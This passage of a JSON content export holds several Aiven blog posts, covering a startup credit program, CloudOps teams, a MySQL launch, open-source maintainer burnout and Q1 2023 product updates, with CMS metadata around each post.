feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"4a64c13b14af","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"73e72ea02d45","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"bda8d1a0b50e","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Crab week team photo","asset":{"_ref":"image-cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-05-24T06:00:00.000Z","related":[{"_key":"a546ff80a3ad","_ref":"1Lw0M52l6Xc8ia5fdmn8AZ","_type":"reference"},{"_key":"be137282ed7e","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"},{"_key":"6a6e57bd98b2","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"In April we gathered our Cast under the Portuguese sun and travelled around the world to unite our global team. ","metaImage":{"_type":"mainImage","alt":"Aiven team photo","asset":{"_ref":"image-cf233865a1488167be09123ed7a6febf1fa7fba4-3133x1688-jpg","_type":"reference"}},"metaTitle":"Crab Week 2023, that's a wrap! "},"slug":{"_type":"slug","current":"/blog/crab-week-2023-wrap-up"},"subtitle":"In April we gathered our Cast under the Portuguese sun and travelled (sideways) around the world to unite our global team for Claws United. ","title":"Crab Week 2023, that's a wrap! "} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"18fLg2vAgBM4cu7qP3u2XJ","_rev":"4xxJDWP8Sw6o7zBrU9zeHF","_type":"post","_updatedAt":"2023-06-19T08:15:24Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## What is Aiven Cluster?\nThe Aiven Cluster Startup Program offers fast-growing startups free credits worth up to US$100,000 to be used over 12 months. You can use it to build up a modern data infrastructure in the cloud without any management headaches. \n\nFor example, you can spin up a single database like PostgreSQL or MySQL to meet an immediate need now and scale with replicas when going into production. Or you could build a powerful streaming service using Apache Kafka and connect to Grafana for the ready-made dashboards. Perhaps you need to create a quick little hobbyist database to test an idea? Aiven is the easiest way.\n\n*And* you can pick clouds and regions from our wide selection.\n\nBut it’s about more than just money and services. For our Cluster startups, we offer \n\n- Access to Aiven’s experts and technical support\n- Virtual events focused on building the best data infrastructure for your company with Aiven\n- Joint promotions and visibility on Aiven’s channels for startups that scale up in the first 6 months\n\n## Giving back to the community\nWhy is Aiven embarking on this journey now? \n\n“Back in our day, Aiven took part in our share of startup programs,” says Oskari Saarenmaa, CEO. \"We’ll always be grateful for the help we got from the community then; each of those companies holds a special place in our hearts.”\n\nNow Aiven is looking to pay the good forward. “We’ve seen startups with limited funds try to save money by doing everything in-house, and that slows their progress. With programs like ours, startups can focus on what matters instead of worrying about their company data infrastructure. Your company’s brightest minds shouldn’t be spending their days managing Apache Kafka, they should be developing your products and services.”\n\nThe benefits for companies, both those taking part in and those providing startup programs, are substantial. “Aiven wants to learn from the needs of up and coming startups, because that helps us improve and provide a better service for everyone,” Oskari points out. “And in some cases, Aiven is today able to power the business of a company that gave us a boost early on, and neither company would be where we are today without the other.” \n\nWith Aiven, even a tiny startup with pretty much no infra can get productive quickly, and that’s absolutely essential for future success.\n\n“That’s what we want to enable for junior startups, now that we’re in a position to do so,” Oskari says. “We’ve been there, we’ve walked the walk, but we weren’t alone. Now we want to help the next generation succeed.”\n\n## Get with the program\nWe have a few eligibility criteria for our clusterers (is that even a word? Well, it is now) to meet. You’re eligible as a company if \n\n… you are affiliated with an approved partner organization. \n\n… your startup is not older than 5 years.\n\n… your funding is at Series A level, or less.\n\n… you have a company website and an associated email address.\n\nTo become a part of the Aiven Cluster, head on over to [our Cluster page](https://aiven.io/cluster \"Cluster program page | Aiven website\"), fill in the form, and click the big orange button to apply.\n\nStill have questions? Send an e-mail to cluster@aiven.io, and we’ll try to answer them.\n\nMake sure you also follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven invites startups to our new startup program. Find out why Aiven is helping fresh early-stage startups with discounts and other opportunities.","metaImage":{"alt":"","asset":{"_ref":"image-19a5024177c9cf81ec933f2e5045ddd18cb69d85-1567x844-png","_type":"reference"}},"metaTitle":"Cluster startup program | Discover the benefits | Aiven"},"slug":{"_type":"slug","current":"/blog/an-invitation-to-cluster"},"subtitle":"Aiven invites startups to our new startup program. Find out why Aiven is helping fresh early-stage startups with discounts and other opportunities.","title":"An invitation to cluster"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4p1IgkhLKJMD5e7PmJuzMX","_rev":"3vmY7zy3f72iLGmgPaopVB","_type":"post","_updatedAt":"2023-07-13T09:11:10Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Not all developers hate dealing with tool admin stuff. But if their core competence is product development and they’ve been hired to do just that, no one wants to have them spend their time and the company’s money on extraneous tasks.\n\nTo avoid creating disgruntled developers and bleeding development budget into administration tasks, companies are increasingly setting up teams whose specific responsibility it is to make sure that developers have the tools they need to do their jobs. \n## CloudOps v Developer Experience v common platform\nTerminology lags behind reality, as it always does, and there are many names for the teams who take care of the tooling issues on behalf of the developers, or maybe the whole company.\n\nThe designated turf for these teams includes things like\n\n- Maintenance of local or cloud software tools\n- Upkeep of libraries and SDKs\n- Subscriptions to and management of SaaS, DBaaS, PaaS and other fundamental cloud-based services\n- Oversight of entire supported technologies\n- Best practices around workplace collaboration, coding, distribution etc\n- Creation of supporting materials (like introductions and instructions to the development environment and practices)\n- Working with corporate IT to merge the development environment seamlessly into the company infrastructure\n\nTeams who tackle the full spread of this smörgåsbord of developer support are starting to be called Developer Experience teams. Common platform teams focus on technical tasks related to the development platform, and CloudOps teams take care of the public cloud environments that the development teams use.\n\nWhat all these types of teams have in common is the goal of removing from the developer users the burden of having to pick and maintain their resources. Centralizing the function brings savings on the corporate level due to increased bargaining power. This way companies can also ensure that all the tools meet the security and scalability requirements needed for their product development.\n\nIn this article, we’ll take a closer look at CloudOps from the viewpoint of Aiven, who provides exactly the kind of services that CloudOps teams oversee. We also have a ringside seat to witness the benefits our customers reap from this approach.\n## CloudOps benefits everyone\nA CloudOps team vets, rolls out and maintains cloud tooling, including the subscriptions. It may also extend its mandate to the licencing details, best practices, instructions and other related miscellanea that are vitally important for the day-to-day running and long-term compatibility of the company cloud services. \n\nHaving all this centralized into one function means resources can be managed more efficiently, creating clear savings. Having a CloudOps team gives you the ability to provide cloud services for your developers most cost-effectively.\n### CloudOps and the environment\nUnused resources means unnecessary consumption, whether we’re talking about buying too many pairs of trousers or setting up extra cloud capacity. Data isn’t often seen as contributing to climate change. It does need to be stored, however, and storing it consumes electricity and natural resources. \n\nThe catch is that if you set up a data environment, it really doesn’t care whether you fill it up with data or not; it keeps using the same amount of power whether it’s running empty or doing a vital job. So you rack up the bills, and a power plant somewhere churns out the electricity. Not buying your own hardware and maintaining a data center that sits empty for long stretches of time is actually an environment-friendly act. \n\nThe same goes for subscribing to unnecessary amounts of cloud services. If a development task requires access to a cloud service, it’s tempting in the short term to just quickly subscribe to whatever service to get the immediate task done. The result may be a myriad of small subscriptions, each of them using only a fraction of the capacity that the subscription enables.\n\nAnd since one major benefit of having a CloudOps team is optimized resource management, that means CloudOps is green by its very nature.\n### CloudOps and the company\nCentralizing all cloud operations under one team sets the stage for company-wide alignment on services. The CloudOps team makes sure that all developers are working in the same framework under the same terms and conditions. \n\nOne major benefit from service alignment is that you can automate your production workflows and management tasks. Orchestration is easy when every service is playing from the same sheet of music; if one half of the band plays blues and the other half plays EDM, the results will be… mixed, to say the least.\n\nAnother way that a centralized CloudOps team can avert costly disaster is by ensuring that all service use is compliant with whatever standard you need to comply with. They can also deliver the data you need to obtain official certifications of compliance.\n### CloudOps and the developer\nWe at Aiven enjoy it when our customer companies set up CloudOps or DEX teams because then we know that developers are being taken care of. \n\nAt our end, we know first-hand how easy it is to troubleshoot and fix issues by working with someone who has the whole cloud environment at their fingertips, instead of them having to claw their way out of a data silo first. We’re pretty sure that they prefer it, too.\n\nWhen the CloudOps team has overall control of the development cloud resources, it can be used to enable self service access to resources for developers but without the burdens of subscription management and infra integration. Need a cloud set up quickly? No more using your personal e-mail to sign up for a random service, just go to your company or organisation portal and click the one you want. (That’s how the [GOV.UK Digital Marketplace](https://www.digitalmarketplace.service.gov.uk/ \"GOV.UK Digital Marketplace\") works, for example.)\n## Case in point: CloudOps at Just Eat Takeaway.com\nWe had a chat with Mario Mazo, CloudOps Team Lead at [Just Eat Takeaway.com](https://www.justeattakeaway.com/) to find out how their company’s CloudOps team works. Just Eat Takeaway.com gets their Kafka and OpenSearch managed at Aiven.\n\n“We set up the CloudOps team some three years ago,” Mario says. “We considered an SRE model, but came to the conclusion that it wasn’t workable for our company in our location. In the end we went with a team that wasn’t sysops or developers but rather orchestrators and maintainers. The current team understands cloud orchestration on a higher level, as it relates to systems.”\n\nThe 12-person team at Just Eat Takeaway.com covers cloud services end to end. “We’re basically an abstraction layer between developers and the cloud services they use, like AWS, Aiven, Atlas etc. It’s like an API that includes humans, processes and tools, upholding company policies and best practices. Developers don’t have to care much about how to properly set up this or that cloud resource. We also make sure our systems are compliant with the different benchmarks we have to pass as a public company with a banking license. That takes special expertise, and now developers don’t need to acquire it.”\n\nWhile CloudOps teams can serve the whole company’s cloud resource needs, at Just Eat Takeaway.com they mostly work with product development. “Development teams account for approximately 90% of our users,” Mario says. “But there are some use cases where we work directly with Finance and Product Intelligence.” In most companies it’s probably true that development teams have the largest and most complex needs for public cloud services.\n\nWe asked Mario what would happen if the CloudOps team were to disappear overnight--how would they cope? “Good question… Many of the systems we manage are rather complex: Kubernetes, Istio, even Kafka before we signed up with Aiven. So I don’t know. It’s not likely to happen. We tend to joke that Kubernetes is the best job security solution on the market, so there’s that!” he laughs.\n## Wrapping up\nJust Eat Takeaway.com’s CloudOps team is a great example of taking the load off the developers’ shoulders and putting it where it belongs, a dedicated team of professionals with a bird’s-eye view and fine-grained control of the whole cloud infrastructure. \n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"c8775456e4f5","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-18T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Programmers spending their time on tool issues is an old problem. The new solution in town is a separate team that takes care of it for them.","metaImage":{"alt":"","asset":{"_ref":"image-ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844-png","_type":"reference"}},"metaTitle":"CloudOps from the viewpoint of Aiven | Read more"},"slug":{"_type":"slug","current":"/blog/cloudops-the-everyday-heroes"},"subtitle":"Programmers spending their time on tool issues is an old problem. The new solution in town is a separate team that takes care of it for them.","title":"CloudOps: the everyday heroes"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2521aAC97RKCIw0JBvV5Ex","_rev":"OSa4Of7leLeKOMRysnjfBc","_type":"post","_updatedAt":"2023-06-08T08:00:53Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven recently [launched](https://aiven.io/blog/an-invitation-to-cluster \"An invitation to cluster | Aiven blog\") a [startup program](https://aiven.io/cluster \"Aiven Cluster | Aiven website\") for fresh newcomers in any area of business who need their data infra done right. \n\nBut how do you get from joining the Aiven Cluster to profiting from it? Well, here's how!\n\n## 1. Join Aiven Cluster\nGo to the [Cluster page](https://aiven.io/cluster \"Aiven Cluster | Aiven website\"), fill in the form and click the big crab-colored button. This gets you started in the application process.\n\n## 2. ???\nWhen your application is approved, you receive 100K of Aiven credits. ([Among other things](https://aiven.io/cluster \"Aiven Cluster | Aiven website\")) Here are some ways you can put those credits to work for you:\n\n- Run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months\n- Run a more modest Kafka Business-8 package with plenty of spare credits left over \n- Set up the full house of data for 12 months:\n - PostgreSQL business-64 for your database\n - OpenSearch business-32 for searching\n - Redis business-64 for caching to keep your apps running nicely\n - M3 business-16 for your metrics \n - Grafana to keep an eye on things\n\nFor more ideas, take a look at our [case studies](https://aiven.io/case-studies \"Case studies | Aiven website\") and see how others are using Aiven services.\n## 3. Profit!\nOnce you have your data infra running, it just works. We'll take care of the upgrades and the maintenance. Your data pipes stay clear and your company stays open for business.\n\nIf your startup starts out right, i.e., with Aiven, you’ll skip the cost of even setting up your own data infrastructure. This means you won’t invest in something you’d probably have to dismantle later on when the management, hardware and connectivity costs catch up with you.\n\nAnd how big do you stand to profit? According to a [recent whitepaper by IDC](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"Aiven cloud data services bring 340% three year ROI | Aiven blog\"), our customers saw an average of 340% three-year ROI with a 5-month payback period, and 37% lower cost of operations over three years. ","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"content","mainImage":{"alt":"","asset":{"_ref":"image-ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Find out how and, above all, WHY, join us in Cluster, Aiven's program for startups who need their data infrastructure set up right.","metaImage":{"alt":"","asset":{"_ref":"image-ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844-png","_type":"reference"}},"metaTitle":"Cluster: Aiven's program for startups | Join \u0026 profit Now"},"slug":{"_type":"slug","current":"/blog/cluster-for-profit"},"subtitle":"Find out how and, above all, WHY, join us in Cluster, Aiven's program for startups who need their data infrastructure set up right.","title":"Cluster for profit"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5cZYvYF6yRID8lqusbyVDR","_rev":"OSa4Of7leLeKOMRysnjwM0","_type":"post","_updatedAt":"2023-06-08T08:01:39Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Happy 2019! We're kicking off the year with a number of new product and\nfeature launches, starting with MySQL.\n\nOur mission is to let developers focus on their applications while we take\ncare of their data infrastructure. This means that we're closely following\nthe development of the most interesting open source software projects and\nlistening to feedback from our customers and the community when prioritizing\nour roadmap.\n\nWe've been gathering requirements and understanding use cases for MySQL for\nquite some time, and I'm happy to announce that MySQL is the next database\nengine to be launched in Aiven. In addition to being one of the most popular\ndatabase engines out there, MySQL, like Aiven, was launched by a Finnish\nteam so in many ways it's a natural extension to Aiven.\n\n## Early access in Q1\n\nFeature-wise, we're looking to offer only the latest major version, 8, with\nplans quite similar to our current PostgreSQL plans in terms of features and\ncapacity. Details will be released over the coming months as we open our\nearly access program.\n\nLaunching MySQL on Aiven requires us to implement various new tools to\nbetter handle backups in different cloud environments as well as to\nintegrate monitoring data with various external systems. In line with our\nopen source commitment, we'll be publishing these tools on [our GitHub\nsite](https://github.com/aiven) as we move closer to GA.\n\nEarly access to Aiven MySQL is expected to be available by end of Q1, with\ngeneral availability to follow during Q2. Please contact us through the\nonline chat or [email](mailto:support@aiven.io) to sign up for early access.\n\n## What's next?\n\nIn addition to MySQL, our growing team has been working on e.g. Kafka\nimprovements and enhancements as well as better integration with external\nauthentication and authorization systems with finer-grained access control\nfor different database engines. We'll be announcing and releasing these\nfeatures over the next couple of weeks, stay tuned!\n\nP.S. we're also looking for talented developers and developer advocates to\njoin our team to work on open source infrastructure, check out some of the\nopen positions on [our careers page](https://aiven.io/careers) and apply.\nMany of the positions are available for remote candidates in EU or US.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405-png","_type":"reference"}},"publishedAt":"2019-01-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Blog: Read about the 2019 launch of Aiven for MySQL, a popular database engine for better handling of back-ups in cloud environments. ","metaImage":{"alt":"","asset":{"_ref":"image-11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405-png","_type":"reference"}},"metaTitle":"Aiven for MySQL | 2019 launch | Read more in our blog"},"slug":{"_type":"slug","current":"/blog/coming-soon-mysql-on-aiven"},"subtitle":"Aiven Blog: Read about the 2019 launch of Aiven for MySQL, a popular database engine for better handling of back-ups in cloud environments. ","title":"Coming soon: MySQL on Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6xsLe60xhyOugnLw9yg8Uc","_rev":"KtWw3EPsvVF1DpRqAKLBTp","_type":"post","_updatedAt":"2023-06-22T13:48:51Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Being part of a community is what humans are largely designed for. People cluster up. We support each other and provide companionship by coexisting in shared spaces. The fact that today these spaces are increasingly virtual, online and asynchronous does not change the foundational workings of human groups.\n\nBut no one said it’s easy. Every community has its issues that arise from how human beings act towards each other. Besides companionship, there’s jockeying for position; in addition to support, there’s scrambling for status; and always--always--there are conflicts.\n\nAn outsider might think that, as a loose conglomeration of volunteers, the open source community is exempt from all that. Not so. The open source community absolutely has the same power games, harassment, arguments and abuse as any other community where bad behaviour goes unchecked. \n\nAnd since humans are such social, communal animals, poor community experiences have a profound impact on our mental well-being. In this article, we’ll take a look at the less salubrious side of the virtual open source community and its very real-life consequences. \n## The times are changing\nFor quite a long time, it was pretty much taken for granted that the maintainer of an open source project would be expected to work 24/7, fixing or adding functionality to their project on demand. They’d have to put up with tons of negative feedback, sometimes even downright abuse. And they'd have to do all this unpaid!\n\nIt wasn’t just maintainers, either. Regular members of the community also had to be on their toes because online discussions were not, by and large, safe places to speak up.\n\nI’ve seen a sea change during this past year and a half. Because of the pandemic, working life for many people shifted online, and suddenly there was a surge of interest in online well-being. I’m not claiming problems in the open source communities are now solved, but at least they are acknowledged by a larger part of the internet population.\n## Volunteer burnout in the open source community\nDespite the great improvements, there are still many unsolved problems. One of the biggest ones has been, and will continue to be, the voluntary basis of open source work – the vast majority of which is made in the contributor’s free time. \n\nOpen source maintainers start their projects with lots of enthusiasm and motivation. They invest their personal time doing work for no monetary compensation, simply because they love doing it and love seeing the fruits of their labor harvested and baked into bigger, beautiful open source pies.\n\nYet far from receiving thanks, appreciation and goodwill, contributors are frequently served harassment and abuse. Users demand a premium service from the maintainers, but are not willing to pay for it. This creates a toxic environment where maintainers are expected to satisfy anonymous demands in record time for free. \n\nWhile giving up their holidays to do it.\n\nAs time passes and they encounter increasing demands and abuse, that motivation starts to flag until they finally end up crashing and burning out. Many maintainers abandon their projects. \n\nAnd they are fully within their rights to get out of a toxic situation. Wouldn’t you? No one has the right to demand or expect permanent 24/7 commitment from volunteers.\n## Why we should all care\nIf you’re not an open source project maintainer or contributor, this may all sound a bit distant. Of course it’s a shame, you may think, and someone should do something, but it’s really nothing to do with me.\n\nYou’d be wrong.\n\nThe internet as we know it depends massively on open source projects. A good chunk of those projects depend on a single maintainer’s work. Remember [Heartbleed](https://en.wikipedia.org/wiki/Heartbleed \"Heartbleed | Wikipedia\") in 2014? That vulnerability was tracked down to OpenSSL, an important library used in the foundations of the secure internet – and maintained by just one person. \n\nAnd if that one key person decides they’ve had enough of the thankless volunteer treadmill and quits, what do you suppose happens to online shopping and social media?\n\nThis is not just a hypothetical what-if scenario. In 2016, web development experienced a serious hiccup because [one programmer deleted 11 lines of code](https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/ \"How one programmer broke the internet by deleting a tiny piece of code | Quartz\") comprising the ´left-pad´ package from npm.\n\nBut that’s not the worst of it. We’ve seen cases of straight up crime. In 2018, a maintainer of a popular Node.js library decided to step away from the maintainer role. One developer contacted him offering to be the new maintainer, and the handover was made in good order. Some time later, however, [the new maintainer inserted some malicious code](https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets \"Hacker Infects Node.js Package to Steal from Bitcoin Wallets | Trend Micro\") into the library that stole from bitcoin wallets.\n\nThese things will keep happening if we don’t change the status quo. \n## We can make it better - professionally\nOne big step that the community has taken is to adopt Codes of Conduct. With these, maintainers can enforce rules that make the open source community forums safer environments where participation is rewarding. This helps make communities more diverse and more welcoming.\n\nBut the truth is that, thanks to the anonymity of the internet, nothing really prevents bad actors banned from a community from assuming a new identity and returning to engage in the same behavior again.\n\nAt Aiven, we’re stepping up with our own Open Source Program Office, or OSPO. Its purpose is to ease the burden on the current open source communities.\n\nAll of our OSPO team members are maintainers or long time contributors in several mainstream projects, and they understand the current state of affairs in the open source communities. A common sentence heard in our team is: we made our hobby our work!\n\nWe don’t just work to add new features to the various open source projects Aiven uses downstream. We also make these projects more sustainable, for example by removing technical debt. We’re finding this is a great way for a company with its roots in the open source community to contribute back. We like to think we’re maintaining the mental health of the volunteer developers who would otherwise have to do this work without pay or thanks.\n\nHowever, we also need to take care of our own mental health. We aim to strike a balance between the effort of performing these hard, low-recognition tasks and giving enough challenging, creative and rewarding work to those same engineers.\n\nThe OSPO team also aims to bolster the communities that surround their own open source projects. Besides adhering to [our Code of Conduct](https://www.contributor-covenant.org/version/2/0/code_of_conduct/ \"Contributor Covenant CoC\"), we discuss things in the open and define reasonable ‘time-to-respond’ expectations. We want to keep our communities safe.\n\n## Wrapping up\nSupporting the mental health of individuals in the open source community space is not just the humane thing to do, it’s also a crucial part of keeping the whole connected world safe. As long as we rely on the free labor of love performed by individuals, the least we can do is keep those individuals safe and sane.\n\nAiven is committed not just to open source software, but also to the community that creates it.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-11T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Being part of a community is not always easy. Find out what Aiven is doing to support the individuals who contribute to and maintain open source projects.","metaImage":{"alt":"","asset":{"_ref":"image-b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supporting the open source community | Read more"},"slug":{"_type":"slug","current":"/blog/staying-sane-in-open-source"},"subtitle":"Being part of a community is not always easy. Find out what Aiven is doing to support the individuals who contribute to and maintain open source projects.","title":"Staying sane in open source"} {"__i18n_lang":"en","_createdAt":"2023-04-06T09:38:57Z","_id":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_rev":"OSa4Of7leLeKOMRyso0GPo","_type":"post","_updatedAt":"2023-06-08T08:32:12Z","authors":[{"_key":"a8a9f0430b93","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"## Aiven for Apache Flink® reached General Availability\nIn February, our latest service Aiven for Apache Flink® became generally available. With this unique fully managed Flink SQL service, you can leverage the power and flexibility of real time data processing. Together with Apache Kafka®, Apache Flink enables you to create a robust event streaming infrastructure. Events can flow within the organization via Apache Kafka, while Apache Flink acts as the computational layer, processing those events in real time.\n\nRead more in our blog: [Aiven for Apache Flink® generally available](https://aiven.io/blog/aiven-for-apache-flink-generally-available)\n\n## Organizations and Units\nFebruary also saw the introduction of a new organization concept. An organization is the central entity that lets you manage users, authentication and billing settings more easily. Organizational units allow you to further refine the hierarchy of your projects and services. For example, you can now easily split production and testing workloads into different organizational units that are in the same Aiven organization. \n\nFind out more in our blog: [Introducing organizations and units in Aiven](https://aiven.io/blog/introducing-organizations-and-units-in-aiven)\n\n## PostgreSQL® version 15\nWe were quick in introducing support for version 15 in our Aiven for PostgreSQL® service. The new version comes with a wealth of new capabilities and performance enhancements that make managing workloads more efficient, while providing a better developer experience. \n\nExplore PostgreSQL 15 further in our blog: [Announcing Aiven for PostgreSQL 15](https://aiven.io/blog/announcing-aiven-for-postgresql-15)\n\n## Klaw version 2.1\nKlaw, our open source Apache Kafka® governance tool, again saw two new releases during the quarter. A new major version 2.0 was released in February, along with a minor upgrade with version 2.1 in March. Some of the key new features include a redesigned React UI, schema promotion, and support for authorization from your OAuth2 provider/Active Directory.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9b76a55452b7b07dbe97b69619079acea84ae0b3-1562x663.png?w=450)\n\nLearn more about the [Klaw 2.0](https://www.klaw-project.io/releases/release200) and [Klaw 2.1](https://www.klaw-project.io/releases/release210) in the Klaw official website.\n\n## New home screen in the Aiven Console\nIf you are a user of the Aiven Console, you can’t miss this one. When you login to the Console you will no longer deep dive straight into a list of all services in one of your projects. Instead, you will land on a new home screen that gives you quick access to all your projects and their respective services that may require your attention, as well as direct view to the platform status and recent product updates.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/85e54618be2a5ee16615d2b0b44ee4ae2667e161-1526x813.png?w=450)\n\n## Aiven authentication with Github\nQ1 also saw the release of Github authentication with the Aiven platform. It is now possible to sign up and authenticate to the Aiven platform using your GitHub credentials. This new addition makes it easy for all of us using GitHub to get started and use the Aiven services.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/467a11375cd0e6f9fda3ee8a4780e3d37159d65f-1504x907.png?w=450)\n\n## Migration wizard for MySQL\nWant to migrate the data from your existing MySQL database to Aiven for MySQL? We have made it even easier than before by introducing a graphical migration wizard for it. Just hit the “Migrate database” button on your service overview screen to get started.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/18110355f6841a73fc9dc1b39f1568407c36e0e5-1588x908.png?w=450)\n\n## Manage ClickHouse® integrations in the Console\nOne of the most powerful capabilities of Aiven for ClickHouse® is its ability to integrate directly to Apache Kafka® and PostgreSQL® environments. Managing the integration details used to require using our Command Line Interface (CLI) tool and specific syntax - but now you can also do it easily via the graphical user interface of the Aiven Console.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8699240f7c14ee81e6ca73df9753d4ebedb49a8e-1351x741.png?w=450)","categories":[{"_key":"7a82607b64a0","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"7004b7fa3d61","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-14T10:00:23.514Z","related":[{"_key":"34cce57617f9","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},{"_key":"eb32c56afa32","_ref":"70c50025-8a7e-47d1-9260-bc1cf116c176","_type":"reference"},{"_key":"f48cfc465891","_ref":"960bf5f6-3b4e-40d9-a78a-114f31759cda","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven's Product Updates in Q1/2023 - Find out more!"},"slug":{"_type":"slug","current":"/blog/what's-new-at-aiven-q12023"},"subtitle":"Our product and engineering teams at Aiven have been busy! Find out what was released in the first quarter of 2023.","title":"What's new at Aiven: Q1/2023"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2gd1vIdghZUUbOpQMshxXS","_rev":"j5OhKGUVbND2aFEj9l9xKe","_type":"post","_updatedAt":"2023-06-22T13:30:59Z","authors":[],"body":"__Update / February 2023: [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\") is generally available!__\n\nGiven that you’re reading these words, you’re probably looking to solve a data problem. Maybe you’re evaluating platforms to revamp your data pipeline, or troubleshooting a customer service issue. Maybe you’re not getting the kind of ROI that you expect from your analytics or Internet of Things (IoT) solutions. Or maybe you’re just curious about Apache Flink! We’re not here to judge.\n\nWhatever your motivation, this post provides a comprehensive overview of Apache Flink, exploring how companies are using this platform to expand the way they process data. \n\nBefore we dive in, here’s a small primer on why companies are embracing solutions like Apache Flink.\n\n## What is Apache Flink?\nFlink is an open source framework and distributed, fault tolerant, stream processing engine built by the Apache Flink Community, a subset of the [Apache Software Foundation](https://www.apache.org/). Flink, which is now at version 1.11.0, is operated by a team of 